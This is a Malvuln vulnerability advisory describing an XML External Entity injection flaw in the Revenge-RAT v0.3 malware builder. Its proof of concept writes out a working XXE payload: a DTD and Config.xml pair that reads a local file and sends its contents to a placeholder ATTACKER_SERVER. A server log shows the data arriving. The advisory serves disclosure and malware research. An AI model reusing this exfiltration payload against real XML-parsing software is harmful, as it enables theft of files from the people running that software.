Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/531d8b4ac8f7eb827d62424169321b2b.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: BuilderRevengeRAT - (Revenge-RAT v0.3) Vulnerability: XML External Entity Injection Description: The malware listens on TCP port 333. There is a Config.xml file used by the RAT builder to specify port, notification, webcam etc. The XML parser used by the RAT is vulnerable to XML Injection, this can allow local file exfiltration to a remote attacker server and or Geo location disclosure of the RAT builder. Family: Revenge Type: PE32 MD5: 531d8b4ac8f7eb827d62424169321b2b Vuln ID: MVID-2022-0521 Disclosure: 03/17/2022 Exploit/PoC: 1) python -m http.server (Port 8000) 2) "payload.dtd" <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER_SERVER:8000?%file;'>"> %all; 3) "Config.xml" <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE MALVULN [ <!ENTITY % file SYSTEM "C:\BuilderRevengeRAT\Revenge-RAT v0.3\Database\2022-03-16\3-57-36 PM.log"> <!ENTITY % dtd SYSTEM "http://ATTACKER_SERVER:8000/payload.dtd"> %dtd;]> <pwn>&send;</pwn> 4) Run the "Revenge-RAT v0.3.exe" malware Result... Serving HTTP on 0.0.0.0 port 8000 ... DESKTOP-2C3IQHO - - [16/Mar/2022 16:12:40] "GET /payload.dtd HTTP/1.1" 200 - DESKTOP-2C3IQHO - - [16/Mar/2022 16:12:40] "GET /?[%203:57:37%20PM%20]%20Revenge%20Started%20..%7C...%7CUnknown.png%7C[%203:57:45%20PM%20]%20Listening%20:%20333%7C...%7CUnknown.png%7C HTTP/1.1" 301 - DESKTOP-2C3IQHO - - [16/Mar/2022 16:12:40] "GET /?[%203:57:37%20PM%20]%20Revenge%20Started%20..%7C...%7CUnknown.png%7C[%203:57:45%20PM%20]%20Listening%20:%20333%7C...%7CUnknown.png%7C/ HTTP/1.1" 200 - DESKTOP-2C3IQHO - - [16/Mar/2022 16:15:14] "GET /payload.dtd HTTP/1.1" 200 - Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).